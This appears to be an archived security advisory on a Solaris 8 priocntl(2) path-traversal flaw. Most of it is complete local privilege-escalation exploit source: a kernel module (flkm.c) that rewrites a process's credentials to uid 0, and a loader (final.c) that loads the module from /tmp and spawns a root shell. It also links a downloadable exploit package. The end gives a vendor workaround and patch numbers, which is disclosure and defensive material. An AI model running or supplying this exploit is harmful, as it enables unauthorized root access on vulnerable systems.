|
COMMAND Solaris priocntl exploit SYSTEMS AFFECTED Solaris 8 PROBLEM From, [http://www.catdogsoft.com/S8EXP/], thanks to [jerryhj@yeah.net] : syscall priocntl(2) is used as process scheduler control it's declared as below: long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...); while set 'cmd' arg to PC_GETCID, priocntl()'s function is like below (see ManPage 'man -s 2 priocntl') "Get class ID and class attributes for a specific class given class name. The idtype and id arguments are ignored. If arg is non-null, it points to a structure of type pcinfo_t. The pc_clname buffer contains the name of the class whose attributes you are getting." as it said, pc_clname points to a string specify the module. priocntl() will load the module without any privilege check. The module's name is a relative path, priocntl will search the module file in only /kernel/sched and /usr/kernel/sched/ dirs. but unfortunately, priocntl() never check '../' in pc_clname arg we can use '../../../tmp/module' to make priocntl() load a module from anywhere Exploit ======= under 32-bit solaris, execute "./final" under 64-bit solaris, execute "./final 64" detailes on http://www.catdogsoft.com/S8EXP/ Package exploit : http://www.catdogsoft.com/S8EXP/release.tgz --------flkm.c----------------------------- /* Writen By CatDog the module find the user's proccess's cred struct change it's owner uid to 0(root) this code can work properly in any conditions */ #include <sys/systm.h> #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/kmem.h> #include <sys/errno.h> #include <sys/proc.h> #include <sys/user.h> #include <sys/thread.h> #include <sys/cred.h> #include <vm/as.h> #include <vm/seg.h> #include <vm/seg_vn.h> typedef unsigned int DWORD; DWORD ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff}; /* * This is the loadable module wrapper. */ #include <sys/modctl.h> int _info(struct modinfo *modinfop) { return -1; } int _init(void) { proc_t *current,*pp; pid_t rec; int i,cnt; for(i=0;ptree[i]!=0xffffffff;i++); cnt=i; cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt); current=curproc; while(current->p_pidp->pid_id!=0) current=current->p_parent; pp=current; for(i=0;i<cnt;i++) { pp=pp->p_child; cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]); while(pp!=0) { if(pp->p_pidp->pid_id==ptree[i]) break; pp=pp->p_sibling; } if(pp==0) goto ERR; } if(pp!=0) { pp->p_cred->cr_ruid=0; pp->p_cred->cr_uid=0; cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id); cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid); cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid); } ERR: cmn_err(CE_NOTE ,"Get Su: not found"); return -1; } --------end of flkm.c----------------------- --------final.c----------------------------- /* Writen By CatDog the module find the user's proccess's cred struct change it's owner uid to 0(root) this code can work properly in any conditions */ #include <stdio.h> #include <sys/types.h> #include <procfs.h> #include <unistd.h> #include <errno.h> #include <sys/priocntl.h> #include <sys/rtpriocntl.h> #include <sys/tspriocntl.h> #define OFFSET 0x2dc #define OFFSET64 0x39c pid_t getpppid(pid_t pid) { psinfo_t psinf; int fd; char buf[256]; sprintf(buf, "/proc/%d/psinfo", pid); fd=open(buf,0); if(fd!=-1) { read(fd, &psinf, sizeof(psinfo_t)); close(fd); } return psinf.pr_ppid; } void Load(int m64) { pcinfo_t pcinfo; if(!m64) strcpy(pcinfo.pc_clname, "../../../tmp/flkm32"); if(m64) strcpy(pcinfo.pc_clname, "../../../tmp/flkm64"); priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo); } main(int argc,char *argv[]) { pid_t pid; pid_t ptree[20], *pptree; int i,j,k; int fd; int m64=0; if(argc==2) { if(atoi(argv[1])==64) m64=1; } printf("is 64 bit: %d\n",m64); pid=getpid(); memset(ptree, 0, 20*sizeof(pid_t)); ptree[0]=pid; for(i=1;i<20;i++) { pid=getpppid(pid); if(pid==0) break; ptree[i]=pid; } pptree=(pid_t *)malloc((i+1)*sizeof(pid_t)); k=0; for(j=19;j>=0;j--) { if(ptree[j]==0) continue; //printf("%d %x\n", ptree[j], ptree[j]); pptree[k]=ptree[j]; k++; } pptree[k]=0xffffffff; if(!m64) system("cp -f flkm32 /tmp/flkm32"); if(m64) mkdir("/tmp/sparcv9",0777); if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64"); if(!m64) fd=open("/tmp/flkm32",2); if(m64) fd=open("/tmp/sparcv9/flkm64",2); if(fd!=-1){ if(!m64) lseek(fd, OFFSET, SEEK_SET); if(m64) lseek(fd, OFFSET64, SEEK_SET); printf("%d bytes to write\n", i*sizeof(pid_t)); k=write(fd, pptree, i*sizeof(pid_t)); printf("%d bytes wroten\n", k); close(fd); }else{ printf("err! open flkm error!\n"); exit(-1); } free(pptree); Load(m64); printf("id=%d\n", k=getuid()); if(!m64) { system("rm -fr /tmp/flkm32"); } if(m64) { system("rm -fr /tmp/sparcv9"); } if(k==0) { printf("SUCCESS! Enjoy RootShell!\n"); execl("/bin/sh","sh",NULL); }else{ printf("fail!\n"); } } --------end of final.c------------------------- SOLUTION From Casper Dik [Casper.Dik@Sun.COM] comments : The "pc_clname[]" argument is limited in size; to prevent this particular bug from being exploited you could: for dir in /kernel /usr/kernel do cd $dir mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched . done Update (02 January 2003) ====== Patches are now available for Solaris 8 which resolve this bug. This issue is addressed in the following releases: SPARC * Solaris 8 with patch 108528-18 or later Intel * Solaris 8 with patch 108529-18 or later Both are available from http://sunsolve.sun.com/ for both contract and non-contract customers. Patches for Solaris 2.6, 7 and 9 will follow shortly. Further details are available in Sun Alert 49131, available at http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F49131